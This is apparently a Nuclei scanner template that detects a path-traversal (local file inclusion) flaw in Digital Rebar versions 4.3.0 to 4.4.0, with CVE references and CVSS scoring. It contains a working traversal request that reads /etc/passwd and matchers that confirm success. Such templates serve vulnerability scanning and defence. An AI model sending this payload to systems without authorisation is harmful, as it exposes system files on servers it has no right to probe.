digitalrebar-traversal: Digital Rebar - Local File Inclusion

id: digitalrebar-traversal

info:
  name: Digital Rebar - Local File Inclusion
  author: c-sh0
  severity: high
  description: Digital Rebar versions 4.3.0, 4.3.2, 4.3.3, 4.4.0, and maybe others are vulnerable to local file inclusion because web requests can navigate outside of DRP controlled areas.
  reference:
    - https://docs.rackn.io/en/latest/doc/security/cve_20200924A.html
    - https://docs.rackn.io/en/latest/doc/release.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: lfi,rackn,digitalrebar,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0"

      - type: word
        part: header
        words:
          - 'X-Drp-Sha256sum:'

      - type: status
        status:
          - 200
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